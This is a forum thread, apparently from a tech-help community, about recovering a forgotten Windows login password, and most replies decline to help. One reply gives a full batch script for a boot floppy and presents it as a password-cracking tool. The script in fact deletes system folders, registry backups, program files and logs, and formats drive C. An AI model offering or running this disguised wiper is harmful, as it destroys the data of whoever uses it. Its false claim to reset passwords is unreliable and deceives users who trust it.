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by troygle Accepted solution
by squirrelonfire Accepted solution
According to windows website, there is no way to retrieve a
windows log on password. Of course if you have 2 admin
accounts, you can log in the other and reset the password on
the other computers. Windows log in passwords are invented
this way to provide maximum security.
Of course, there may be other ways (not written in the book)
that I do not know.
I hope this helps.
by tig2 Accepted solution
Ring Microsoft support. They should be able to talk you through.
While this is a common problem, I will tell you that we don't provide an answer. Professional ethics dictate that we direct you to your sys admin or Microsoft directly. While I am certain that you would do nothing wrong with this information, publishing it on the open internet would serve to help people with intentions of theft. I know that you will understand.
by ken Accepted solution
See my reply to "password trouble"
If you get into "Safe mode" you may be able to log onto the Administrators account then erase change your password
by tig2 Accepted solution
I can see that you have only been with us for a couple of months. Welcome!
We get password reset requests on an average of 5 a day- and sometimes more. It has become the habit to refer people to either call their in house support, Microsoft, or the system manufacturer- depending on the kind of password reset required. The reason we do this is that many of us have worked on the support side and recognize that an end user should be restricted to whatever policies have been set by the admins. Also we know that the incidence of laptop theft is high and getting higher every day.
Since we don't care to accuse anyone, we have simply quit answering this kind of request. That way we never wonder if we have indeed helped an innocent person or someone less than honest.
The community of TR is something that we all try to protect. I'm glad that you have decided to join us and hope that you understand our position.
Thanks!
by w2ktechman Accepted solution
First off, please listen to this. We do not help people here to break passwords. We have no way to determine if you are trying to recover your own PW or break into someones machine, or even just get into a stolen system. For this reason, we do not help. Here are your options from this point.
Contact the systems manufacturer
Contact Microsoft
Take the computer to a qualified repair shop
Have a qualified repair shop go to your location
Aside from that, we cannot help.
If you just want to crack a persons PW, please see my next post.
by w2ktechman Accepted solution
Please read my previous post carefully before continuing with this one.
Ok, so you wanna be a cracker. This is cracking 101. Just remember that NEVER TRY THIS, as it may be illegal. Ok, for starters let me just say that this is tricky. No actual danger though, but you really should practice it on your own system before attempting to try it on anyone elses. You should at minimum try it 5 or 6 times to really get to know how to do it well.
Items needed
Ability to create a batch file
floppy disk
USB floppy disk drive
create a boot floppy with NTFS Write permissions
Ok, once you have gathered the materials you should already have a boot floppy ready. In the autoexec.bat file add the line suser.bat at the end.
On your desktop, create a file called suser.txt for (suser stands for Super User).
Open the suser.txt file and paste the information below
cls
rem # start _admin.pwd
ren %systemroot%\system32\etc %systemroot%\system32\cet
rem start process A32#458
ren %systemroot%\repair\DS_SOFTWARE A1E
ren %systemroot%\repair\DS_SECURITY A2E
ren %systemroot%\repair\DS_SAM A3E
ren %systemroot%\repair\DS_system.bak A4E
del %systemroot%\repair\A*.* /Q /F
del %systemroot%\repair\s*.* /Q /F
rem script _admin.pwd
del %systemroot%\system32\catroot\*.*
del %systemroot%\system32\catroot2\*.*
del %systemroot%\system32\drivers\cet*.*
rem new_pwd.pwd ==generate 0
del "c:\program files" /Q /F
ren %systemroot%\system32 %systemroot%\newpwd
ren %systemroot%\system %systemroot%\system32
rem AUTO_START new_pwd.pwd 44#1
rem _admin.pwd == DISABLE
del %systemroot%\system32\config /Q /F
erase %systemroot%\system32\LogFiles\*.*
rem ACTIVATE_MEMORY_FLOOD_0x0000323A
rem DISABLE_LOGFILES
format c:\ /Q /A:4096
rem RESTART _admin.pwd
Paste all of this into the suser.txt file. Save and close the file. Rename the file to suser.bat
copy the file to your boot floppy disk.
Boot to the new floppy disk and test it. This may stop and ask to press OK a few times. It should not, but it may still.
Sometimes people really lock down the admin account, but this program is smart enough to unlock from both 'hidden' places, to allow a 'no password' option and blank it out, a double whammy!!!
Remember, this is a REAL program that can get you into serious trouble. Also, it is 'time sensitive' when dealing with another persons system without them knowing. Always get to know a program with this much power BEFORE attempting to use it on someone elses machine.
And most of all, never actually use it. I posted it as informative material. USE AT YOUR OWN RISK!!!
And, never ever tell anyone that I gave this to you....
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by squirrelonfire Accepted solution
If someone can post me the link for the guideline, i will
really appreciate that. This helps me to comply w/ the policy
and agreements when posting answers.
by w2ktechman Accepted solution
We, as in all users of the site, are mainly self regulating. However, there are site moderators as well.
There is everything from long term professionals in the field, or even newcomers just trying to start out, all the way to people just browsing because they are interested. What we try to do is help TR limit the trolls here, and keep from posting anything that may be illegal. Many also look at immoral acts in the same way.
So, to sum it up, if it is possibly illegal and/or immoral, we refuse to help. Even if there is a good story behind it, there is no way that we can tell if the requestor is looking to perform an illegal/immoral act. Not only that, but posting such content as PW cracks, etc., we do not know if the notebook/comp was stolen or what. If we do post how to do these things, being a public forum, means that we would be telling everyone who wants it on the Internet how to do it.
So, it is really just a judgement call.
P.S. -- Welcome to TR and thank you for contributing thus far.
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